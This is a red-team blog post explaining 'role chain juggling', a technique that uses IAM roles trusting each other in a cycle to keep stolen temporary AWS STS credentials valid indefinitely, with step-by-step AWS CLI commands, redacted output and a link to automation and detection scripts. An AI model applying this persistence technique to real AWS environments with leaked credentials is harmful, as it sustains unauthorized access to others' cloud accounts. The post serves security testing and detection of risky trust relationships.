Persistent AWS access with role chain juggling

hotnops
Posts By SpecterOps Team Members
5 min readJul 16, 2020

--

TLDR:

Given proper trust relationships, a role assumed with temporary credentials can be preserved indefinitely and give an attacker persistent access to an AWS environment by role chaining in a cyclical pattern.

Read first:

Drink first:

Intro

On a recent red-team engagement, one of our objectives was to test the client AWS security posture and gain access to any/all AWS accounts. After a few weeks of pursuing other objectives, we were able to obtain STS credentials for federated users that were being written to a publicly accessible log whenever the STS credentials were being requested. This included the access key, secret key, and session token. Gaining access to STS credentials were a good first step, but they had one drawback: they expired after an hour. In fact, the maximum amount of time an STS token can be valid is only 12 hours, but is valid for one hour by default. This means when we were able to obtain a token from the log as it was issued, we only had an hour to use it to gain access to the AWS environment. On our engagement, we would use the aws_consoler tool to generate a web-based console session, which in turn, gave us a 12 hour session. Because catching these credentials were time sensitive, we wrote a slack bot that would alert us every time a new STS credential was observed, and we were able to explore freely for twelve hours as that federated user. Sometimes, however, twelve hours isn’t good enough. We began to brainstorm on how to keep access given only temporary STS credentials. What we found is that if policies permit, we could gain access to an AWS environment indefinitely with a technique we coined “role chain juggling”.

What is role chaining?

In a normal setting, it’s common for an IAM user or a federated user to assume an IAM role (i’ll refer to as “role” from here on out) for a particular task. Role chaining is simply when a role, instead of a user, assumes another role. As long as trust policies permit, roles can be chained an arbitrary number of times. After reading about role chaining, I was curious: what are the consequences of two roles that can assume each other? Does the expiration date get refreshed on every AssumeRole API call? If that’s the case, then compromised temporary credentials could lead to persistent access in an AWS environment. To figure this out, I set up two roles in a test AWS environment. In this example, we will have two roles that will need to impersonate each other: “BuildRole” and “GitRole”. I picked these names just because they’re a bit more concrete than saying “RoleA” and “RoleB”, and demonstrates a half-assed attempt at creating a semi-believable mock environment.

Doing the Juggle

First, I created two roles and ensured that their trust policies included each other. Since GitRole didn’t exist at the time BuildRole was created, I needed to go back and add the ARN of GitRole after GitRole was created.

aws iam create-role — role-name BuildRole — assume-role-policy-document file://Build-Role-Trust-Policy.jsonaws iam create-role — role-name GitRole — assume-role-policy-document file://Git-Role-Trust-Policy.json

Next, to simulate obtaining temporary credentials of a federated user, I created an IAM user named “Bob” and retrieved a new STS token:

aws sts get-session-token --duration-seconds 3600
{
"Credentials": {
"AccessKeyId": "ASIA...",
"SecretAccessKey": "6JWc...",
"SessionToken": "FwoGZX...",
"Expiration": "2020-07-11T15:47:20Z"
}
}

Notice that the AccessKeyId starts with “ASIA”. This indicates that the key is a temporary credential using the STS service. I commented out the rest of the keys because you’re all a bunch of degenerates and I don’t trust you.

We have our STS credentials and are now simulating the credentials we had access to in our red team exercise in which these values were written to a publicly accessible log. To use these tokens, set the environment variables accordingly:

export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=6JWc...
export AWS_SESSION_TOKEN=FwoGZX...

Now it’s time to do some role chaining. As the IAM user Bob, we will assume the “BuildRole”:

aws sts assume-role --role-arn arn:aws:iam::123456789:role/BuildRole --role-session-name build-session
{
"Credentials": {
"AccessKeyId": "ASIA...",
"SecretAccessKey": "hl62...",
"SessionToken": "FwoGZX...",
"Expiration": "2020-07-11T15:49:22Z"
},
"AssumedRoleUser": {
"AssumedRoleId": "AROAZ2VU5FUQLKWQ5SOAA:build-session",
"Arn": "arn:aws:sts::1234567890:assumed-role/BuildRole/build-session"
}
}

Note the expiration time is one hour from now (trust me). Like before, we export the keys to the same environment variables and ensure that we are now properly assuming the role by issuing the following command:

aws sts get-caller-identity
{
“UserId”: “AROAZ2VU5FUQLKWQ5SOAA:build-session”,
“Account”: “123456789”,
“Arn”: “arn:aws:sts::123456789:assumed-role/BuildRole/build-session”
}

Awesome! Now as the BuildRole, we are going to assume GitRole. In this mock scenario, maybe BuildRole needs to assume GitRole to checkout code from the repository, I don’t know, I haven’t really thought it through. Just go with it.

aws sts assume-role — role-arn arn:aws:iam::123456789:role/GitRole — role-session-name git-session
{
“Credentials”: {
“AccessKeyId”: “ASIA...”,
“SecretAccessKey”: “7wuR...”,
“SessionToken”: “FwoGZX...",
“Expiration”: “2020–07–11T15:54:16Z”
},
“AssumedRoleUser”: {
“AssumedRoleId”: “AROAZ2VU5FUQLZ3REPNYP:git-session”,
“Arn”: “arn:aws:sts::123456789:assumed-role/GitRole/git-session”
}
}

One promising indicator that chaining might work is the expiration date has moved up one hour from the most recent command. This implies that as long as there are roles to chain, we can continue to extend our lifetime. However, I want to know if we can extend our lifetime infinitely. To do this, we assume back to the BuildRole from the GitRole. What I expected was AWS would detect the circular role chain and re-issue credentials from the previous assume-role call.

aws sts assume-role — role-arn arn:aws:iam::123456789:role/BuildRole — role-session-name build-session2
{
“Credentials”: {
“AccessKeyId”: “ASIA...”,
“SecretAccessKey”: “8gHD...”,
“SessionToken”: “FwoGZX...”,
“Expiration”: “2020–07–11T15:58:11Z”
},
“AssumedRoleUser”: {
“AssumedRoleId”: “AROAZ2VU5FUQLKWQ5SOAA:build-session2”,
“Arn”: “arn:aws:sts::123456789:assumed-role/BuildRole/build-session2”
}
}

Boom! Our expiration date is now 15:58:11 instead of 15:49:22. We just effectively extended our temporary session by roughly ten minutes. This demonstrates that we can do this indefinitely to keep a persistent session in AWS with with proper role trust relationships.

Caveats

The one major assumption for this technique of persistent access is that two roles trust each other for assuming roles. This may seem like a big stretch, but as AWS environments grow in complexity, it is likely that roles will accrue trust relationships over time that may provide circular trust. It is also important to know that a circular trust relationship doesn’t have to be only two roles trusting each other. If a trust relationship graphs to “RoleA”-> “RoleB” -> “RoleC” -> “RoleA”, then this persistence technique is still valid.

Automating the process

To help find this issue, I’m releasing a python script find_circular_trust.py to detect circular trust relationships in AWS environments. In addition, I’m releasing aws_role_juggler.py. It is a long running script that will keep your temporary session alive by juggling roles indefinitely. Both scripts are really small, and extremely rudimentary. I’ll add features as it’s used and quality of life improvements are identified.

Links:

https://github.com/hotnops/AWSRoleJuggler/

--

--